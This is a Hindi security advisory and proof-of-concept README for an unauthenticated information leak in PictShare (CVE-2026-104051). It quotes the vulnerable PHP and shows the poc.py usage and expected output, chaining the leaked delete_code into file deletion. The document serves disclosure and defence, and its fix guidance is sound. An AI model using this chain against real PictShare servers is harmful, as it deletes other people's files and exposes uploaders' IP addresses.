PictShare < 3.7.1 में info API के माध्यम से संवेदनशील जानकारी का खुलासा (CWE-522)। PoC + सलाहकार लेख।
info API के माध्यम से संवेदनशील सूचना का खुलासाअधिकृत सुरक्षा अनुसंधान। केवल रक्षात्मक और शैक्षिक उपयोग के लिए PoC।
PictShare का /api/info/<hash> एंडपॉइंट किसी भी अपलोड की गई फ़ाइल के लिए पूरा कच्चा मेटाडेटा ऑब्जेक्ट लौटाता है — जिसमें गुप्त
delete_code भी शामिल है जो विलोपन को अधिकृत करता है, साथ ही अपलोडर का IP, User-Agent, रिमोट पोर्ट और
SHA-1। एक अनधिकृत हमलावर जो किसी फ़ाइल का (सार्वजनिक रूप से दिखाई देने वाला) हैश जानता है, उसका
delete_code पढ़ सकता है और फिर मनमाने ढंग से होस्ट की गई फ़ाइलों को स्थायी रूप से हटा सकता है।
| CVE | CVE-2026-104051 |
| उत्पाद | PictShare (स्व-होस्टेड इमेज/मीडिया होस्ट) |
| प्रभावित | >= 2.0.0, < 3.7.1 |
| में ठीक किया गया | v3.7.1 |
| भेद्यता | अपर्याप्त रूप से संरक्षित क्रेडेंशियल्स (CWE-522) → मनमाना फ़ाइल विलोपन + गोपनीयता हानि |
| विशेषाधिकार | कोई नहीं (अनधिकृत) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| द्वारा खोजा गया | Alisher Qarshibayev |
| सलाहकारी | VulnCheck |
API::info() हैश को खोजता है और getMetadataOfHash() को शब्दशः लौटाता है — कोई फ़ील्ड
व्हाइटलिस्ट नहीं:
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
और checkPermissions() — info रूट से पहले का एकमात्र गेट — फ़ाइलसिस्टम लेखन-योग्यता की जाँच करता है, पहचान की नहीं, इसलिए info अनधिकृत रूप से पहुँच योग्य है:
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
लौटाए गए मेटाडेटा में delete_code होता है, जिसे delete API एकमात्र
प्राधिकरण रहस्य के रूप में स्वीकार करता है:
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
फ़ाइल हैश सार्वजनिक होते हैं (वे हर साझा की गई इमेज URL में दिखाई देते हैं), इसलिए पूरी श्रृंखला —
info के माध्यम से कोड लीक करें, फिर delete के माध्यम से हटाएँ — को उस URL के अलावा कुछ नहीं चाहिए जो उपयोगकर्ता पहले ही साझा कर चुका है।
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
अपेक्षित परिणाम:
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
देखें poc.py। विलोपन ऑप्ट-इन (--delete) है इसलिए डिफ़ॉल्ट रन
केवल-पठन और गैर-विनाशकारी है।
PictShare 3.7.1 में अपग्रेड करें (fix commit ce5fc47)।
info() अब एक सख्त व्हाइटलिस्ट (mime, size, hash, sha1, uploaded) लौटाता है और
अब delete_code, ip, useragent या remote_port लीक नहीं करता। सामान्य मार्गदर्शन: API
प्रतिक्रियाओं को फ़ील्ड्स को स्पष्ट रूप से व्हाइटलिस्ट करना चाहिए; कभी भी ऐसा आंतरिक रिकॉर्ड सीरियलाइज़ न करें जो
रहस्यों को सार्वजनिक डेटा के साथ मिलाता हो।
संबंधित: CVE-2026-104356 — इस लीक के बिना भी,
delete_codeअनुमानित था क्योंकि इसेrand()से उत्पन्न किया गया था।
| दिनांक | घटना |
|---|---|
| 2026-10-01 | सार्वजनिक खुलासा, CVE आरक्षित और प्रकाशित (VulnCheck), v3.7.1 में ठीक किया गया |
विक्रेता को जिम्मेदारीपूर्वक बताया गया और VulnCheck के माध्यम से समन्वित किया गया। इस PoC के जारी होने से पहले ठीक कर दिया गया। रक्षात्मक और शैक्षिक उद्देश्यों के लिए प्रकाशित।